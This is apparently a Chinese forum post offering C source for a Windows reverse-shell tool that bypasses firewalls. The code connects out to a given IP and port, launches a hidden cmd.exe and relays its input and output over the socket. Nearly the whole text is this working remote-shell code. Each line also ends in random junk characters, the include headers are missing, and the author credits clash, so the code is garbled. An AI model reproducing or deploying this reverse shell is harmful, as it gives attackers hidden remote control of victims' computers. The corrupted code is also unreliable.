Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 O 8fh'
6  
'J\%JAR@  
/* ============================== i^W\YLE  
Rebound port in Windows NT %URyGS]*  
By wind,2006/7 2vur_`cV  
===============================*/ |_A35"v  
#include ;^xku%u  
#include yb]a p  
`zvYuKQ.}  
#pragma comment(lib,"wsock32.lib") 5H5<ft,  
J0x)m2  
void OutputShell();
Io:xG6yG  
SOCKET sClient; nqV7Db~  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; R"tLu/Sn  
+F@9AO>LF  
void main(int argc,char **argv) ^o{O5&i]  
{ %@IR7v~  
WSADATA stWsaData; /!LfEO  
int nRet; Vw,dHIe(3  
SOCKADDR_IN stSaiClient,stSaiServer; Z$@Juv&>5^  
Kg%_e9nj#  
if(argc != 3) YS/DIH{9e  
{ ~+1t17  
printf("Useage:\n\rRebound DestIP DestPort\n"); S2Wxf>bt2  
return; -PX {W)Aw  
} h qxe  
_E1:3N|  
WSAStartup(MAKEWORD(2,2),&stWsaData); oZIoY*7IrQ  
jKtbGVZ7r  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); r..Rh9v/=E  
uh GL1{  
stSaiClient.sin_family = AF_INET; }6o` in>M  
stSaiClient.sin_port = htons(0); Bp b_y;E  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); l
T%o6qgT  
toP7b  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) z7GLpTa  
{ Gz kf  
printf("Bind Socket Failed!\n"); /|>z7#?m^  
return; YUc&X^O  
} :lcoSJ  
`?La  
stSaiServer.sin_family = AF_INET; k<AnTboa  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); WyO10yvR  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); k6$.pCH6  
;ASlsUE\)  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) uRp-yu[nt%  
{ 7H=/FT?e]  
printf("Connect Error!"); z;Kyg}  
return; d^,u"Z9P  
} _RAPXU~ 6-  
OutputShell(); b&0q%tCK  
} BCFvqhF7s  
-`A6K!W&~p  
void OutputShell() &L;0%
 
{ RU@`+6j+  
char szBuff[1024]; pvcD 61,  
SECURITY_ATTRIBUTES stSecurityAttributes; &t`l,]PQ=6  
OSVERSIONINFO stOsversionInfo; q
i$6y?  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 2r\f!m'  
STARTUPINFO stStartupInfo; %kyvtt  
char *szShell; Es)Kw3^a  
PROCESS_INFORMATION stProcessInformation; KecRjon~  
unsigned long lBytesRead; 8*lVO2  
'w&,3@Z  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); yV_aza  
qL]!/}  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 2x t 8F  
stSecurityAttributes.lpSecurityDescriptor = 0; zsWYV n]  
stSecurityAttributes.bInheritHandle = TRUE; f BukrPsV  
GsxrqIaD  
q.~_vS%  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Kc0KCBd8];  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); *Z<`TB)<X  
pYH#Vh  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 3g)pLW  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Hh,q)(Wo  
stStartupInfo.wShowWindow = SW_HIDE; ]^E<e!z={$  
stStartupInfo.hStdInput = hReadPipe; g&X$)V4C  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; *ewE{$UpK  
yX/ 9jk  
GetVersionEx(&stOsversionInfo); gP?pfFhG  
a!]'S4JS  
switch(stOsversionInfo.dwPlatformId) ([^1gG+>J  
{ +H8]5~',L%  
case 1: 8
L^5bJ  
szShell = "command.com"; (xy/:i".V  
break; 'tklz*  
default: `gx_+m^  
szShell = "cmd.exe"; H
W)> `  
break; pFx7URZA  
} 5v6*.e'p  
1d"g$i4e  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); &KmVtj  
}[\l$sS  
send(sClient,szMsg,77,0); }e s  
while(1) UXvUU^k"v  
{ t*iKkV^aE  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); B!4chxzUZ  
if(lBytesRead) ( hp 52Vse  
{ UBLr|e>dQE  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); lmfvT}$B  
send(sClient,szBuff,lBytesRead,0); GU([A@;  
} zT 9"B  
else 7'LKyy !"3  
{ WRe9ki=R  
lBytesRead=recv(sClient,szBuff,1024,0); % tTL  
if(lBytesRead<=0) break; Q9Sh2qF^2  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ")}^\Om  
} Uf4A9$R.G  
} >^=upf/  
'pa[z5{k+  
return; ;p)RMRMg  
}